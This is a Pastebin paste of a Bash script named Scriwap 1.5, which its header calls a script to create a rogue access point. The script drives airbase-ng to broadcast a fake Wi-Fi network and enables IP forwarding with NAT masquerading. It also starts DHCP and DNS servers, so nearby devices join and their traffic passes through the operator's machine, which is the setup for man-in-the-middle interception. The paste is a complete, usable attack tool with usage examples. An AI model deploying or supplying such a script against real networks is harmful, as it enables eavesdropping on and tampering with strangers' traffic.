Guest User

sch3m4

a guest
Oct 4th, 2009
1,045
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.27 KB | None | 0 0
  1. #!/bin/sh
  2. #
  3. # Scriwap 1.5 - Script to create rogue AP
  4. #
  5. # Chema Garcia (a.k.a. sch3m4)
  6. # http://opensec.es
  7. #
  8.  
  9. RUTA_AIRBASE='/usr/local/sbin/airbase-ng'
  10. RUTA_BIND9='/etc/init.d/bind9'
  11. RUTA_DHCPD3S='/etc/init.d/dhcp3-server'
  12. RUTA_DHCPD3='/usr/sbin/dhcpd3'
  13. RUTA_CFG_DHCPD3='/etc/dhcp3/dhcpd.conf'
  14. RUTA_SYSCTL='/sbin/sysctl'
  15. RUTA_IPTABLES='/sbin/iptables'
  16. AIRBASE_IFACE='at0'
  17. LOG='.scriwap.log'
  18.  
  19. function check
  20. {
  21.         if [ ! $? -eq 0 ]
  22.         then
  23.                 echo -e "[!] Error - Check \"$LOG\""
  24.                 exit $?
  25.         fi
  26. }
  27.  
  28. echo "###############################"
  29. echo "#        SCRIWAP 1.5          #"
  30. echo "#=============================#"
  31. echo "#  Chema Garcia (aka sch3m4)  #"
  32. echo "#      [email protected]      #"
  33. echo "#      http://opensec.es      #"
  34. echo "###############################"
  35. echo ""
  36.  
  37. if [ $# -lt 4 ]
  38. then
  39.         echo -e "Use: " $0 " <iface_inet> <iface_monitor> <ip_gw> <netmask> <airbase_opt>\n"
  40.         echo -e "Ej:  " $0 " wlan0 rausb0 10.0.0.1 255.0.0.0 -P -C 2 -c 6 --essid Wifli\n"
  41.         exit 1
  42. fi
  43.  
  44. if [ ! $UID -eq 0 ]
  45. then
  46.         sudo ls / 2>&1 >/dev/null
  47. fi
  48.  
  49. #comienzo de parametros de airbase
  50. ifacenet=$1
  51. ifacemon=$2
  52. ip=$3
  53. mascara=$4
  54. narg=$#
  55. num=5
  56.  
  57. while [ $# -gt 0 ] && [ $num -le $narg ];do
  58.         param="$param $5"
  59.         shift
  60.         num=$(($num+1))
  61. done
  62. param="$param $ifacemon"
  63.  
  64. #Activamos el IP Forwarding
  65. echo "[+] Setting up IP Forwarding"
  66. sudo $RUTA_SYSCTL net.ipv4.ip_forward=1 2>&1 >> $LOG
  67. check
  68.  
  69. echo "[+] Stopping DHCP daemon"
  70. sudo $RUTA_DHCPD3S stop 2>&1 >> $LOG
  71. echo "[+] Stopping DNS daemon"
  72. sudo $RUTA_BIND9 stop 2>&1 >> $LOG
  73.  
  74. echo "[+] Flushing 'nat' table"
  75. sudo $RUTA_IPTABLES -t nat -F
  76. check
  77.  
  78. echo "[+] Adding iptables rule"
  79. sudo $RUTA_IPTABLES -t nat -A POSTROUTING -o $ifacenet -j MASQUERADE
  80. check
  81.  
  82. echo "[+] Setting up Acces Point..."
  83. sudo rmmod tun 2>&1 >> $LOG
  84. xterm -e sudo $RUTA_AIRBASE $param &
  85. sleep 3
  86.  
  87. echo "[+] Settin up interface $AIRBASE_IFACE"
  88. sudo ifconfig $AIRBASE_IFACE $ip netmask $mascara up
  89. check
  90.  
  91. echo "[+] Starting DHCP daemon"
  92. sudo $RUTA_DHCPD3 -cf $RUTA_CFG_DHCPD3 $AIRBASE_IFACE 2>&1 >> $LOG
  93. check
  94.  
  95. echo "[+] Starting DNS daemon"
  96. sudo $RUTA_BIND9 start 2>&1 >> $LOG
  97. check
  98.  
  99. echo -e "\n[+] Finished!\n"
  100.  
  101. exit 0
Advertisement
Add Comment
Please, Sign In to add comment